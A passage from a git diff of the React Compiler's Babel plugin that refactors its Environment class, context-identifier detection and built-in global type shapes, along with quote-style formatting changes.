     logger: Logger | null,
     filename: string | null,
     code: string | null,
-    useMemoCacheIdentifier: string
+    programContext: ProgramContext,
   ) {
+    this.#scope = scope;
     this.fnType = fnType;
+    this.outputMode = outputMode;
     this.config = config;
     this.filename = filename;
     this.code = code;
     this.logger = logger;
-    this.useMemoCacheIdentifier = useMemoCacheIdentifier;
+    this.programContext = programContext;
     this.#shapes = new Map(DEFAULT_SHAPES);
     this.#globals = new Map(DEFAULT_GLOBALS);
 
-    if (
-      config.disableMemoizationForDebugging &&
-      config.enableChangeDetectionForDebugging != null
-    ) {
-      CompilerError.throwInvalidConfig({
-        reason: `Invalid environment config: the 'disableMemoizationForDebugging' and 'enableChangeDetectionForDebugging' options cannot be used together`,
-        description: null,
-        loc: null,
-        suggestions: null,
-      });
-    }
-
     for (const [hookName, hook] of this.config.customHooks) {
       CompilerError.invariant(!this.#globals.has(hookName), {
         reason: `[Globals] Found existing definition in global registry for custom hook ${hookName}`,
-        description: null,
-        loc: null,
-        suggestions: null,
+        loc: GeneratedSource,
       });
       this.#globals.set(
         hookName,
@@ -557,22 +590,98 @@ export class Environment {
           positionalParams: [],
           restParam: hook.effectKind,
           returnType: hook.transitiveMixedData
-            ? { kind: "Object", shapeId: BuiltInMixedReadonlyId }
-            : { kind: "Poly" },
+            ? {kind: 'Object', shapeId: BuiltInMixedReadonlyId}
+            : {kind: 'Poly'},
           returnValueKind: hook.valueKind,
           calleeEffect: Effect.Read,
-          hookKind: "Custom",
+          hookKind: 'Custom',
           noAlias: hook.noAlias,
-        })
+        }),
       );
     }
 
     if (config.enableCustomTypeDefinitionForReanimated) {
-      installReAnimatedTypes(this.#globals, this.#shapes);
+      const reanimatedModuleType = getReanimatedModuleType(this.#shapes);
+      this.#moduleTypes.set(REANIMATED_MODULE_NAME, reanimatedModuleType);
     }
 
+    this.parentFunction = parentFunction;
     this.#contextIdentifiers = contextIdentifiers;
     this.#hoistedIdentifiers = new Set();
+
+    if (config.flowTypeProvider != null) {
+      this.#flowTypeEnvironment = new FlowTypeEnv();
+      CompilerError.invariant(code != null, {
+        reason:
+          'Expected Environment to be initialized with source code when a Flow type provider is specified',
+        loc: GeneratedSource,
+      });
+      this.#flowTypeEnvironment.init(this, code);
+    } else {
+      this.#flowTypeEnvironment = null;
+    }
+  }
+
+  get typeContext(): FlowTypeEnv {
+    CompilerError.invariant(this.#flowTypeEnvironment != null, {
+      reason: 'Flow type environment not initialized',
+      loc: GeneratedSource,
+    });
+    return this.#flowTypeEnvironment;
+  }
+
+  get enableDropManualMemoization(): boolean {
+    switch (this.outputMode) {
+      case 'lint': {
+        // linting drops to be more compatible with compiler analysis
+        return true;
+      }
+      case 'client':
+      case 'ssr': {
+        return true;
+      }
+      default: {
+        assertExhaustive(
+          this.outputMode,
+          `Unexpected output mode '${this.outputMode}'`,
+        );
+      }
+    }
+  }
+
+  get enableMemoization(): boolean {
+    switch (this.outputMode) {
+      case 'client':
+      case 'lint': {
+        // linting also enables memoization so that we can check if manual memoization is preserved
+        return true;
+      }
+      case 'ssr': {
+        return false;
+      }
+      default: {
+        assertExhaustive(
+          this.outputMode,
+          `Unexpected output mode '${this.outputMode}'`,
+        );
+      }
+    }
+  }
+
+  get enableValidations(): boolean {
+    switch (this.outputMode) {
+      case 'client':
+      case 'lint':
+      case 'ssr': {
+        return true;
+      }
+      default: {
+        assertExhaustive(
+          this.outputMode,
+          `Unexpected output mode '${this.outputMode}'`,
+        );
+      }
+    }
   }
 
   get nextIdentifierId(): IdentifierId {
@@ -587,6 +696,69 @@ export class Environment {
     return makeScopeId(this.#nextScope++);
   }
 
+  get scope(): BabelScope {
+    return this.#scope;
+  }
+
+  logErrors(errors: Result<void, CompilerError>): void {
+    if (errors.isOk() || this.logger == null) {
+      return;
+    }
+    for (const error of errors.unwrapErr().details) {
+      this.logger.logEvent(this.filename, {
+        kind: 'CompileError',
+        detail: error,
+        fnLoc: null,
+      });
+    }
+  }
+
+  /**
+   * Record a single diagnostic or error detail on this environment.
+   * If the error is an Invariant, it is immediately thrown since invariants
+   * represent internal bugs that cannot be recovered from.
+   * Otherwise, the error is accumulated and optionally logged.
+   */
+  recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
+    if (error.category === ErrorCategory.Invariant) {
+      const compilerError = new CompilerError();
+      if (error instanceof CompilerDiagnostic) {
+        compilerError.pushDiagnostic(error);
+      } else {
+        compilerError.pushErrorDetail(error);
+      }
+      throw compilerError;
+    }
+    if (error instanceof CompilerDiagnostic) {
+      this.#errors.pushDiagnostic(error);
+    } else {
+      this.#errors.pushErrorDetail(error);
+    }
+  }
+
+  /**
+   * Record all diagnostics from a CompilerError onto this environment.
+   */
+  recordErrors(error: CompilerError): void {
+    for (const detail of error.details) {
+      this.recordError(detail);
+    }
+  }
+
+  /**
+   * Returns true if any errors have been recorded during compilation.
+   */
+  hasErrors(): boolean {
+    return this.#errors.hasAnyErrors();
+  }
+
+  /**
+   * Returns the accumulated CompilerError containing all recorded diagnostics.
+   */
+  aggregateErrors(): CompilerError {
+    return this.#errors;
+  }
+
   isContextIdentifier(node: t.Identifier): boolean {
     return this.#contextIdentifiers.has(node);
   }
@@ -595,31 +767,84 @@ export class Environment {
     return this.#hoistedIdentifiers.has(node);
   }
 
-  getGlobalDeclaration(binding: NonLocalBinding): Global | null {
-    if (this.config.hookPattern != null) {
-      const match = new RegExp(this.config.hookPattern).exec(binding.name);
-      if (
-        match != null &&
-        typeof match[1] === "string" &&
-        isHookName(match[1])
-      ) {
-        const resolvedName = match[1];
-        return this.#globals.get(resolvedName) ?? this.#getCustomHookType();
+  generateGloballyUniqueIdentifierName(
+    name: string | null,
+  ): ValidatedIdentifier {
+    const identifierNode = this.#scope.generateUidIdentifier(name ?? undefined);
+    return makeIdentifierName(identifierNode.name);
+  }
+
+  outlineFunction(fn: HIRFunction, type: ReactFunctionType | null): void {
+    this.#outlinedFunctions.push({fn, type});
+  }
+
+  getOutlinedFunctions(): Array<{
+    fn: HIRFunction;
+    type: ReactFunctionType | null;
+  }> {
+    return this.#outlinedFunctions;
+  }
+
+  #resolveModuleType(moduleName: string, loc: SourceLocation): Global | null {
+    let moduleType = this.#moduleTypes.get(moduleName);
+    if (moduleType === undefined) {
+      /*
+       * NOTE: Zod doesn't work when specifying a function as a default, so we have to
+       * fallback to the default value here
+       */
+      const moduleTypeProvider =
+        this.config.moduleTypeProvider ?? defaultModuleTypeProvider;
+      if (moduleTypeProvider == null) {
+        return null;
       }
+      if (typeof moduleTypeProvider !== 'function') {
+        CompilerError.throwInvalidConfig({
+          reason: `Expected a function for \`moduleTypeProvider\``,
+          loc,
+        });
+      }
+      const unparsedModuleConfig = moduleTypeProvider(moduleName);
+      if (unparsedModuleConfig != null) {
+        const parsedModuleConfig = TypeSchema.safeParse(unparsedModuleConfig);
+        if (!parsedModuleConfig.success) {
+          CompilerError.throwInvalidConfig({
+            reason: `Could not parse module type, the configured \`moduleTypeProvider\` function returned an invalid module description`,
+            description: parsedModuleConfig.error.toString(),
+            loc,
+          });
+        }
+        const moduleConfig = parsedModuleConfig.data;
+        moduleType = installTypeConfig(
+          this.#globals,
+          this.#shapes,
+          moduleConfig,
+          moduleName,
+          loc,
+        );
+      } else {
+        moduleType = null;
+      }
+      this.#moduleTypes.set(moduleName, moduleType);
     }
+    return moduleType;
+  }
 
+  getGlobalDeclaration(
+    binding: NonLocalBinding,
+    loc: SourceLocation,
+  ): Global | null {
     switch (binding.kind) {
-      case "ModuleLocal": {
+      case 'ModuleLocal': {
         // don't resolve module locals
         return isHookName(binding.name) ? this.#getCustomHookType() : null;
       }
-      case "Global": {
+      case 'Global': {
         return (
           this.#globals.get(binding.name) ??
           (isHookName(binding.name) ? this.#getCustomHookType() : null)
         );
       }
-      case "ImportSpecifier": {
+      case 'ImportSpecifier': {
         if (this.#isKnownReactModule(binding.module)) {
           /**
            * For `import {imported as name} from "..."` form, we use the `imported`
@@ -630,9 +855,37 @@ export class Environment {
            */
           return (
             this.#globals.get(binding.imported) ??
-            (isHookName(binding.imported) ? this.#getCustomHookType() : null)
+            (isHookName(binding.imported) || isHookName(binding.name)
+              ? this.#getCustomHookType()
+              : null)
           );
         } else {
+          const moduleType = this.#resolveModuleType(binding.module, loc);
+          if (moduleType !== null) {
+            const importedType = this.getPropertyType(
+              moduleType,
+              binding.imported,
+            );
+            if (importedType != null) {
+              /*
+               * Check that hook-like export names are hook types, and non-hook names are non-hook types.
+               * The user-assigned alias isn't decidable by the type provider, so we ignore that for the check.
+               * Thus we allow `import {fooNonHook as useFoo} from ...` because the name and type both say
+               * that it's not a hook.
+               */
+              const expectHook = isHookName(binding.imported);
+              const isHook = getHookKindForType(this, importedType) != null;
+              if (expectHook !== isHook) {
+                CompilerError.throwInvalidConfig({
+                  reason: `Invalid type configuration for module`,
+                  description: `Expected type for \`import {${binding.imported}} from '${binding.module}'\` ${expectHook ? 'to be a hook' : 'not to be a hook'} based on the exported name`,
+                  loc,
+                });
+              }
+              return importedType;
+            }
+          }
+
           /**
            * For modules we don't own, we look at whether the original name or import alias
            * are hook-like. Both of the following are likely hooks so we would return a hook
@@ -646,8 +899,8 @@ export class Environment {
             : null;
         }
       }
-      case "ImportDefault":
-      case "ImportNamespace": {
+      case 'ImportDefault':
+      case 'ImportNamespace': {
         if (this.#isKnownReactModule(binding.module)) {
           // only resolve imports to modules we know about
           return (
@@ -655,6 +908,34 @@ export class Environment {
             (isHookName(binding.name) ? this.#getCustomHookType() : null)
           );
         } else {
+          const moduleType = this.#resolveModuleType(binding.module, loc);
+          if (moduleType !== null) {
+            let importedType: Type | null = null;
+            if (binding.kind === 'ImportDefault') {
+              const defaultType = this.getPropertyType(moduleType, 'default');
+              if (defaultType !== null) {
+                importedType = defaultType;
+              }
+            } else {
+              importedType = moduleType;
+            }
+            if (importedType !== null) {
+              /*
+               * Check that the hook-like modules are defined as types, and non hook-like modules are not typed as hooks.
+               * So `import Foo from 'useFoo'` is expected to be a hook based on the module name
+               */
+              const expectHook = isHookName(binding.module);
+              const isHook = getHookKindForType(this, importedType) != null;
+              if (expectHook !== isHook) {
+                CompilerError.throwInvalidConfig({
+                  reason: `Invalid type configuration for module`,
+                  description: `Expected type for \`import ... from '${binding.module}'\` ${expectHook ? 'to be a hook' : 'not to be a hook'} based on the module name`,
+                  loc,
+                });
+              }
+              return importedType;
+            }
+          }
           return isHookName(binding.name) ? this.#getCustomHookType() : null;
         }
       }
@@ -663,19 +944,39 @@ export class Environment {
 
   #isKnownReactModule(moduleName: string): boolean {
     return (
-      moduleName.toLowerCase() === "react" ||
-      moduleName.toLowerCase() === "react-dom" ||
-      (this.config.enableSharedRuntime__testonly &&
-        moduleName === "shared-runtime")
+      moduleName.toLowerCase() === 'react' ||
+      moduleName.toLowerCase() === 'react-dom'
     );
   }
+  static knownReactModules: ReadonlyArray<string> = ['react', 'react-dom'];
+
+  getFallthroughPropertyType(
+    receiver: Type,
+    _property: Type,
+  ): BuiltInType | PolyType | null {
+    let shapeId = null;
+    if (receiver.kind === 'Object' || receiver.kind === 'Function') {
+      shapeId = receiver.shapeId;
+    }
+
+    if (shapeId !== null) {
+      const shape = this.#shapes.get(shapeId);
+
+      CompilerError.invariant(shape !== undefined, {
+        reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,
+        loc: GeneratedSource,
+      });
+      return shape.properties.get('*') ?? null;
+    }
+    return null;
+  }
 
   getPropertyType(
     receiver: Type,
-    property: string
+    property: string | number,
   ): BuiltInType | PolyType | null {
     let shapeId = null;
-    if (receiver.kind === "Object" || receiver.kind === "Function") {
+    if (receiver.kind === 'Object' || receiver.kind === 'Function') {
       shapeId = receiver.shapeId;
     }
     if (shapeId !== null) {
@@ -686,32 +987,30 @@ export class Environment {
       const shape = this.#shapes.get(shapeId);
       CompilerError.invariant(shape !== undefined, {
         reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,
-        description: null,
-        loc: null,
-        suggestions: null,
+        loc: GeneratedSource,
       });
-      let value =
-        shape.properties.get(property) ?? shape.properties.get("*") ?? null;
-      if (value === null && isHookName(property)) {
-        value = this.#getCustomHookType();
+      if (typeof property === 'string') {
+        return (
+          shape.properties.get(property) ??
+          shape.properties.get('*') ??
+          (isHookName(property) ? this.#getCustomHookType() : null)
+        );
+      } else {
+        return shape.properties.get('*') ?? null;
       }
-      return value;
-    } else if (isHookName(property)) {
+    } else if (typeof property === 'string' && isHookName(property)) {
       return this.#getCustomHookType();
-    } else {
-      return null;
     }
+    return null;
   }
 
   getFunctionSignature(type: FunctionType): FunctionSignature | null {
-    const { shapeId } = type;
+    const {shapeId} = type;
     if (shapeId !== null) {
       const shape = this.#shapes.get(shapeId);
       CompilerError.invariant(shape !== undefined, {
         reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,
-        description: null,
-        loc: null,
-        suggestions: null,
+        loc: GeneratedSource,
       });
       return shape.functionType;
     }
@@ -732,13 +1031,15 @@ export class Environment {
   }
 }
 
+const REANIMATED_MODULE_NAME = 'react-native-reanimated';
+
 // From https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js#LL18C1-L23C2
 export function isHookName(name: string): boolean {
   return /^use[A-Z0-9]/.test(name);
 }
 
 export function parseEnvironmentConfig(
-  partialConfig: PartialEnvironmentConfig
+  partialConfig: PartialEnvironmentConfig,
 ): Result<EnvironmentConfig, ZodError<PartialEnvironmentConfig>> {
   const config = EnvironmentConfigSchema.safeParse(partialConfig);
   if (config.success) {
@@ -749,7 +1050,7 @@ export function parseEnvironmentConfig(
 }
 
 export function validateEnvironmentConfig(
-  partialConfig: PartialEnvironmentConfig
+  partialConfig: PartialEnvironmentConfig,
 ): EnvironmentConfig {
   const config = EnvironmentConfigSchema.safeParse(partialConfig);
   if (config.success) {
@@ -758,7 +1059,7 @@ export function validateEnvironmentConfig(
 
   CompilerError.throwInvalidConfig({
     reason:
-      "Could not validate environment config. Update React Compiler config to fix the error",
+      'Could not validate environment config. Update React Compiler config to fix the error',
     description: `${fromZodError(config.error)}`,
     loc: null,
     suggestions: null,
@@ -766,10 +1067,10 @@ export function validateEnvironmentConfig(
 }
 
 export function tryParseExternalFunction(
-  maybeExternalFunction: any
+  maybeExternalFunction: any,
 ): ExternalFunction {
   const externalFunction = ExternalFunctionSchema.safeParse(
-    maybeExternalFunction
+    maybeExternalFunction,
   );
   if (externalFunction.success) {
     return externalFunction.data;
@@ -777,9 +1078,11 @@ export function tryParseExternalFunction(
 
   CompilerError.throwInvalidConfig({
     reason:
-      "Could not parse external function. Update React Compiler config to fix the error",
+      'Could not parse external function. Update React Compiler config to fix the error',
     description: `${fromZodError(externalFunction.error)}`,
     loc: null,
     suggestions: null,
   });
 }
+
+export const DEFAULT_EXPORT = 'default';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/FindContextIdentifiers.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/FindContextIdentifiers.ts
index 1161b297b973..efb5df2a49fd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/FindContextIdentifiers.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/FindContextIdentifiers.ts
@@ -5,11 +5,11 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type { NodePath } from "@babel/traverse";
-import type * as t from "@babel/types";
-import { CompilerError } from "../CompilerError";
-import { getOrInsertDefault } from "../Utils/utils";
-import { GeneratedSource } from "./HIR";
+import type {NodePath} from '@babel/traverse';
+import type * as t from '@babel/types';
+import {CompilerError} from '../CompilerError';
+import {getOrInsertDefault} from '../Utils/utils';
+import {GeneratedSource} from './HIR';
 
 type IdentifierInfo = {
   reassigned: boolean;
@@ -35,7 +35,7 @@ type FindContextIdentifierState = {
 const withFunctionScope = {
   enter: function (
     path: BabelFunction,
-    state: FindContextIdentifierState
+    state: FindContextIdentifierState,
   ): void {
     state.currentFn.push(path);
   },
@@ -45,7 +45,7 @@ const withFunctionScope = {
 };
 
 export function findContextIdentifiers(
-  func: NodePath<t.Function>
+  func: NodePath<t.Function>,
 ): Set<t.Identifier> {
   const state: FindContextIdentifierState = {
     currentFn: [],
@@ -60,17 +60,29 @@ export function findContextIdentifiers(
       ObjectMethod: withFunctionScope,
       AssignmentExpression(
         path: NodePath<t.AssignmentExpression>,
-        state: FindContextIdentifierState
+        state: FindContextIdentifierState,
       ): void {
-        const left = path.get("left");
-        const currentFn = state.currentFn.at(-1) ?? null;
-        handleAssignment(currentFn, state.identifiers, left);
+        const left = path.get('left');
+        if (left.isLVal()) {
+          const currentFn = state.currentFn.at(-1) ?? null;
+          handleAssignment(currentFn, state.identifiers, left);
+        } else {
+          /**
+           * OptionalMemberExpressions as the left side of an AssignmentExpression are Stage 1 and
+           * not supported by React Compiler yet.
+           */
+          CompilerError.throwTodo({
+            reason: `Unsupported syntax on the left side of an AssignmentExpression`,
+            description: `Expected an LVal, got: ${left.type}`,
+            loc: left.node.loc ?? null,
+          });
+        }
       },
       UpdateExpression(
         path: NodePath<t.UpdateExpression>,
-        state: FindContextIdentifierState
+        state: FindContextIdentifierState,
       ): void {
-        const argument = path.get("argument");
+        const argument = path.get('argument');
         const currentFn = state.currentFn.at(-1) ?? null;
         if (argument.isLVal()) {
           handleAssignment(currentFn, state.identifiers, argument);
@@ -78,7 +90,7 @@ export function findContextIdentifiers(
       },
       Identifier(
         path: NodePath<t.Identifier>,
-        state: FindContextIdentifierState
+        state: FindContextIdentifierState,
       ): void {
         const currentFn = state.currentFn.at(-1) ?? null;
         if (path.isReferencedIdentifier()) {
@@ -86,7 +98,7 @@ export function findContextIdentifiers(
         }
       },
     },
-    state
+    state,
   );
 
   const result = new Set<t.Identifier>();
@@ -103,7 +115,7 @@ export function findContextIdentifiers(
 function handleIdentifier(
   currentFn: BabelFunction | null,
   identifiers: Map<t.Identifier, IdentifierInfo>,
-  path: NodePath<t.Identifier>
+  path: NodePath<t.Identifier>,
 ): void {
   const name = path.node.name;
   const binding = path.scope.getBinding(name);
@@ -126,7 +138,7 @@ function handleIdentifier(
 function handleAssignment(
   currentFn: BabelFunction | null,
   identifiers: Map<t.Identifier, IdentifierInfo>,
-  lvalPath: NodePath<t.LVal>
+  lvalPath: NodePath<t.LVal>,
 ): void {
   /*
    * Find all reassignments to identifiers declared outside of currentFn
@@ -134,7 +146,7 @@ function handleAssignment(
    */
   const lvalNode = lvalPath.node;
   switch (lvalNode.type) {
-    case "Identifier": {
+    case 'Identifier': {
       const path = lvalPath as NodePath<t.Identifier>;
       const name = path.node.name;
       const binding = path.scope.getBinding(name);
@@ -155,51 +167,47 @@ function handleAssignment(
       }
       break;
     }
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       const path = lvalPath as NodePath<t.ArrayPattern>;
-      for (const element of path.get("elements")) {
+      for (const element of path.get('elements')) {
         if (nonNull(element)) {
           handleAssignment(currentFn, identifiers, element);
         }
       }
       break;
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       const path = lvalPath as NodePath<t.ObjectPattern>;
-      for (const property of path.get("properties")) {
+      for (const property of path.get('properties')) {
         if (property.isObjectProperty()) {
-          const valuePath = property.get("value");
+          const valuePath = property.get('value');
           CompilerError.invariant(valuePath.isLVal(), {
             reason: `[FindContextIdentifiers] Expected object property value to be an LVal, got: ${valuePath.type}`,
-            description: null,
             loc: valuePath.node.loc ?? GeneratedSource,
-            suggestions: null,
           });
           handleAssignment(currentFn, identifiers, valuePath);
         } else {
           CompilerError.invariant(property.isRestElement(), {
             reason: `[FindContextIdentifiers] Invalid assumptions for babel types.`,
-            description: null,
             loc: property.node.loc ?? GeneratedSource,
-            suggestions: null,
           });
           handleAssignment(currentFn, identifiers, property);
         }
       }
       break;
     }
-    case "AssignmentPattern": {
+    case 'AssignmentPattern': {
       const path = lvalPath as NodePath<t.AssignmentPattern>;
-      const left = path.get("left");
+      const left = path.get('left');
       handleAssignment(currentFn, identifiers, left);
       break;
     }
-    case "RestElement": {
+    case 'RestElement': {
       const path = lvalPath as NodePath<t.RestElement>;
-      handleAssignment(currentFn, identifiers, path.get("argument"));
+      handleAssignment(currentFn, identifiers, path.get('argument'));
       break;
     }
-    case "MemberExpression": {
+    case 'MemberExpression': {
       // Interior mutability (not a reassign)
       break;
     }
@@ -215,7 +223,7 @@ function handleAssignment(
 }
 
 function nonNull<T extends NonNullable<t.Node>>(
-  t: NodePath<T | null>
+  t: NodePath<T | null>,
 ): t is NodePath<T> {
   return t.node != null;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/Globals.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/Globals.ts
index 1c471930f620..faf7c9f2b72b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/Globals.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/Globals.ts
@@ -5,24 +5,40 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { Effect, ValueKind, ValueReason } from "./HIR";
+import {Effect, ValueKind, ValueReason} from './HIR';
 import {
   BUILTIN_SHAPES,
   BuiltInArrayId,
+  BuiltInMapId,
+  BuiltInMixedReadonlyId,
+  BuiltInObjectId,
+  BuiltInSetId,
   BuiltInUseActionStateId,
+  BuiltInUseContextHookId,
+  BuiltInUseEffectEventId,
   BuiltInUseEffectHookId,
   BuiltInUseInsertionEffectHookId,
   BuiltInUseLayoutEffectHookId,
   BuiltInUseOperatorId,
+  BuiltInUseOptimisticId,
   BuiltInUseReducerId,
   BuiltInUseRefId,
   BuiltInUseStateId,
+  BuiltInUseTransitionId,
+  BuiltInWeakMapId,
+  BuiltInWeakSetId,
+  BuiltInEffectEventId,
+  ReanimatedSharedValueId,
   ShapeRegistry,
   addFunction,
   addHook,
   addObject,
-} from "./ObjectShape";
-import { BuiltInType, PolyType } from "./Types";
+} from './ObjectShape';
+import {BuiltInType, ObjectType, PolyType} from './Types';
+import {TypeConfig} from './TypeSchema';
+import {assertExhaustive} from '../Utils/utils';
+import {isHookName} from './Environment';
+import {CompilerError, SourceLocation} from '..';
 
 /*
  * This file exports types and defaults for JavaScript global objects.
@@ -37,67 +53,178 @@ export const DEFAULT_SHAPES: ShapeRegistry = new Map(BUILTIN_SHAPES);
 
 // Hack until we add ObjectShapes for all globals
 const UNTYPED_GLOBALS: Set<string> = new Set([
-  "String",
-  "Object",
-  "Function",
-  "Number",
-  "RegExp",
-  "Date",
-  "Error",
-  "Function",
-  "TypeError",
-  "RangeError",
-  "ReferenceError",
-  "SyntaxError",
-  "URIError",
-  "EvalError",
-  "Boolean",
-  "DataView",
-  "Float32Array",
-  "Float64Array",
-  "Int8Array",
-  "Int16Array",
-  "Int32Array",
-  "Map",
-  "Set",
-  "WeakMap",
-  "Uint8Array",
-  "Uint8ClampedArray",
-  "Uint16Array",
-  "Uint32Array",
-  "ArrayBuffer",
-  "JSON",
-  "parseFloat",
-  "parseInt",
-  "console",
-  "isNaN",
-  "eval",
-  "isFinite",
-  "encodeURI",
-  "decodeURI",
-  "encodeURIComponent",
-  "decodeURIComponent",
+  'Object',
+  'Function',
+  'RegExp',
+  'Date',
+  'Error',
+  'TypeError',
+  'RangeError',
+  'ReferenceError',
+  'SyntaxError',
+  'URIError',
+  'EvalError',
+  'DataView',
+  'Float32Array',
+  'Float64Array',
+  'Int8Array',
+  'Int16Array',
+  'Int32Array',
+  'WeakMap',
+  'Uint8Array',
+  'Uint8ClampedArray',
+  'Uint16Array',
+  'Uint32Array',
+  'ArrayBuffer',
+  'JSON',
+  'console',
+  'eval',
 ]);
 
 const TYPED_GLOBALS: Array<[string, BuiltInType]> = [
   [
-    "Array",
-    addObject(DEFAULT_SHAPES, "Array", [
+    'Object',
+    addObject(DEFAULT_SHAPES, 'Object', [
       [
-        "isArray",
+        'keys',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [Effect.Read],
+          restParam: null,
+          returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable,
+        }),
+      ],
+      [
+        /**
+         * Object.fromEntries(iterable)
+         * iterable: An iterable, such as an Array or Map, containing a list of
+         *           objects. Each object should have two properties.
+         * Returns a new object whose properties are given by the entries of the
+         * iterable.
+         */
+        'fromEntries',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [Effect.ConditionallyMutate],
+          restParam: null,
+          returnType: {kind: 'Object', shapeId: BuiltInObjectId},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable,
+        }),
+      ],
+      [
+        'entries',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [Effect.Capture],
+          restParam: null,
+          returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable,
+          aliasing: {
+            receiver: '@receiver',
+            params: ['@object'],
+            rest: null,
+            returns: '@returns',
+            temporaries: [],
+            effects: [
+              {
+                kind: 'Create',
+                into: '@returns',
+                reason: ValueReason.KnownReturnSignature,
+                value: ValueKind.Mutable,
+              },
+              // Object values are captured into the return
+              {
+                kind: 'Capture',
+                from: '@object',
+                into: '@returns',
+              },
+            ],
+          },
+        }),
+      ],
+      [
+        'keys',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [Effect.Read],
+          restParam: null,
+          returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable,
+          aliasing: {
+            receiver: '@receiver',
+            params: ['@object'],
+            rest: null,
+            returns: '@returns',
+            temporaries: [],
+            effects: [
+              {
+                kind: 'Create',
+                into: '@returns',
+                reason: ValueReason.KnownReturnSignature,
+                value: ValueKind.Mutable,
+              },
+              // Only keys are captured, and keys are immutable
+              {
+                kind: 'ImmutableCapture',
+                from: '@object',
+                into: '@returns',
+              },
+            ],
+          },
+        }),
+      ],
+      [
+        'values',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [Effect.Capture],
+          restParam: null,
+          returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable,
+          aliasing: {
+            receiver: '@receiver',
+            params: ['@object'],
+            rest: null,
+            returns: '@returns',
+            temporaries: [],
+            effects: [
+              {
+                kind: 'Create',
+                into: '@returns',
+                reason: ValueReason.KnownReturnSignature,
+                value: ValueKind.Mutable,
+              },
+              // Object values are captured into the return
+              {
+                kind: 'Capture',
+                from: '@object',
+                into: '@returns',
+              },
+            ],
+          },
+        }),
+      ],
+    ]),
+  ],
+  [
+    'Array',
+    addObject(DEFAULT_SHAPES, 'Array', [
+      [
+        'isArray',
         // Array.isArray(value)
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [Effect.Read],
           restParam: null,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
       /*
        * https://tc39.es/ecma262/multipage/indexed-collections.html#sec-array.from
-       * Array.from(arrayLike, optionalFn, optionalThis) not added because
-       * the Effect of `arrayLike` is polymorphic i.e.
+       * Array.from(arrayLike, optionalFn, optionalThis)
+       * Note that the Effect of `arrayLike` is polymorphic i.e.
        *  - Effect.read if
        *     - it does not have an @iterator property and is array-like
        *       (i.e. has a length property)
@@ -106,12 +233,26 @@ const TYPED_GLOBALS: Array<[string, BuiltInType]> = [
        *    function)
        */
       [
-        "of",
+        'from',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [
+            Effect.ConditionallyMutateIterator,
+            Effect.ConditionallyMutate,
+            Effect.ConditionallyMutate,
+          ],
+          restParam: Effect.Read,
+          returnType: {kind: 'Object', shapeId: BuiltInArrayId},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable,
+        }),
+      ],
+      [
+        'of',
         // Array.of(element0, ..., elementN)
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Object", shapeId: BuiltInArrayId },
+          returnType: {kind: 'Object', shapeId: BuiltInArrayId},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Mutable,
         }),
@@ -119,85 +260,186 @@ const TYPED_GLOBALS: Array<[string, BuiltInType]> = [
     ]),
   ],
   [
-    "Math",
-    addObject(DEFAULT_SHAPES, "Math", [
+    'performance',
+    addObject(DEFAULT_SHAPES, 'performance', [
+      // Static methods (TODO)
+      [
+        'now',
+        // Date.now()
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Poly'}, // TODO: could be Primitive, but that would change existing compilation
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable, // same here
+          impure: true,
+          canonicalName: 'performance.now',
+        }),
+      ],
+    ]),
+  ],
+  [
+    'Date',
+    addObject(DEFAULT_SHAPES, 'Date', [
+      // Static methods (TODO)
+      [
+        'now',
+        // Date.now()
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Poly'}, // TODO: could be Primitive, but that would change existing compilation
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable, // same here
+          impure: true,
+          canonicalName: 'Date.now',
+        }),
+      ],
+    ]),
+  ],
+  [
+    'Math',
+    addObject(DEFAULT_SHAPES, 'Math', [
       // Static properties (TODO)
-      ["PI", { kind: "Primitive" }],
+      ['PI', {kind: 'Primitive'}],
       // Static methods (TODO)
       [
-        "max",
+        'max',
         // Math.max(value0, ..., valueN)
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
